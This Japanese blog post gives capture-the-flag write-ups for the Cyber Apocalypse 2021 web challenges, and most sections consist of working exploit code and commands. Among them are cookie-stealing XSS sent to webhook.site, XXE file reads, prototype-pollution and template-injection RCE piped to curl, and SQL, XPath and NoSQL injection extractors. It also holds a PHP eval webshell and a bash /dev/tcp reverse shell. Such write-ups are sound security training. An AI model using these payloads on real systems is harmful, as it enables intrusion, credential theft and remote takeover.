st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Cyber Apocalypse 2021 writeup

4/19 - 4/24という日程で開催された。zer0ptsで参加して12位。

[Web] Alien Complaint Form

次のような厳しく見えるCSPが適用されている。script-src ディレクティブは明示的に指定されていないので 'self' (同一オリジン)になる。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com">

JSONP(これzer0pts CTF 2021のSimple Blogのコードじゃない? ありがとう)を使う。

const jsonp = (url, callback) => {
    const s = document.createElement('script');

    if (callback) {
        s.src = `${url}?callback=${callback}`;
    } else {
        s.src = url;
    }

    document.body.appendChild(s);
};
<meta http-equiv="refresh" content="0;URL='/list?callback=location=[`https://webhook.site/...?`,document.cookie];//'">

[Web] Artillery

ジャバ + XXE。GoSecure/dtd-finderを使おう。

import requests

payload = '''
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "jar:file:///tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd">

    <!ENTITY % URI '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:///tomcat/webapps/ROOT/WEB-INF/classes/Flag.java">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ATTLIST attxx aa "bb"'>

    %local_dtd;
]>
<root><query>%local_dtd;</query></root>
'''.strip()

r = requests.post('http://188.166.172.13:30432/search', headers={
  'Content-Type': 'application/xml'
}, data=payload)
print(r.text)

[Web] BlitzProp

flat というライブラリのバージョンが5.0.0に固定されているが、コミットログを見るとこのバージョンにはPrototype Pollutionがあるとわかる。Pugのgadgetと組み合わせてRCE。

$ curl 'http://178.62.30.167:32243/api/submit'   -H 'Content-Type: application/json'   --data-raw '{"song.name":"Not Polluting with the boys","__proto__.block":{"type":"Text","line":"pug.rethrow(process.mainModule.require(`child_process`).execSync(`cat /app/flag*`).toString(),2,3)"}}'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>CHTB{p0llute_with_styl3}</pre>
</body>
</html>

[Web] Bug Report

XSShttp://127.0.0.1:1337/<script>location=["https://webhook.site/...?",document.cookie]</script>Cookieからフラグが得られる。

[Web] CAAS

SSRF。COPY /flag から curl file:///flag でローカルファイルを読めばよいとわかる。

[Web] Cessation

Apache Traffic ServerのHTTP Smuggling Attackecho -en "GET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length : 56\r\n\r\nGET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nattack: 1\r\nfoo:\r\n\r\n" | nc 138.68.152.10 32647 を2回実行するとフラグが出た。

[Web] DaaS

Laravel 8.35.1 + デバッグモードが有効なのでCVE-2021-3129が刺さる。

$ php -d'phar.readonly=0' phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flag*"
$ ./laravel-ignition-rce.py http://178.62.14.240:32373/ /tmp/exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
HTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
--------------------------
+ Logs cleared

[Web] Emoji Voting

SQLiteのORDER BY以降でのSQLi芸問。Harekaze CTF 2019のSQLite Votingで使ったテクでError-basedに1ビットずつ情報が得られる。

import json
import requests

def query(payload):
  r = requests.post('http://138.68.147.232:31939/api/list', headers={
    'Content-Type': 'application/json'
  }, data=json.dumps({
    'order': payload
  }))
  return 'wrong' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f'abs(-9223372036854775807 - case when unicode(substr(sqlite_version(), {i}, 1)) & {1 << j} then 1 else 0 end)'):
      c |= 1 << j
  res += chr(c)
  print(i, res)

[Web] E.Tree

XPath Injection。

import requests
import json
import string

def query(payload):
  r = requests.post('http://165.227.228.41:32765/api/search', headers={
    'Content-Type': 'application/json'
  }, data=json.dumps({
    'search': payload
  }))
  return 'member exists' in r.text

table = string.printable.strip().replace("'", '')
res = ''
i = 0
while True:
  for c in table:
    r = query("'] or starts-with(/military/district[2]/staff[3]/selfDestructCode,'" + res + c + "') or /*[a='")
    #r = query("'] or starts-with(/military/district[3]/staff[2]/selfDestructCode,'" + res + c + "') or /*[a='") # => part2
    if r:
      res += c
      break
  print(i, res)
  i += 1

[Web] Extortion

LFI問、セッションファイルを include させる。<?php eval($_GET[0]); ?> でwebshellを用意してから /?f=../../../../tmp/sess_fb2b511d037d7ada7c66d73ea4e29fdb&0=passthru(%27cat%20flag*%27); でフラグが得られる。

[Web] Inspector Gadget

CSSとかJSとか色々なファイルにフラグが散らばってるやつ。

[Web] Millenium

ジャバ + Insecure DeserializationはRCEチャンス。rO0ABXQAE3snd29ybSc6J2Rlbl96dWtvJ30= とかの文字列をBase64デコードすると ac ed 00 05 から始まっているあたりから推測できる。java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "bash -c {curl,...:8000}|{bash,-i}" | base64 | tr -d "\n" + bash -c "bash -i >& /dev/tcp/…/8001 0>&1" でリバースシェルが張れる。

[Web] miniSTRypalace

str_replace再帰的に文字列を置換しないので curl "http://46.101.23.157:31385/?lang=..././..././..././..././flag" でPath Traversalできる。

    <?php
    $lang = ['en.php', 'qw.php'];
        include('pages/' . (isset($_GET['lang']) ? str_replace('../', '', $_GET['lang']) : $lang[array_rand($lang)]));
    ?>

[Web] pcalc

S4CTF 2021のjunior-phpと同じ手順でなんとかなる。

nanimokangaeteinai.hateblo.jp

[Web] Starfleet

NunjucksでSSTI。

{{ range.constructor('process.mainModule.require("child_process").execSync("/readflag | curl https://webhook.site/... -d @-")')() }}

[Web] Wild Goose Hunt

NoSQL Injection(MongoDB)。

import requests

table = ['\\{', '\\}'] + list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_')
known = 'CHTB'
while True:
  for c in table:
    r = requests.post('http://138.68.143.0:32306/api/login', data={
     'username': 'admin',
     'password[$regex]': known + c + '.*'
    })
    if 'Successful' in r.text:
      known += c
      print(known)
      break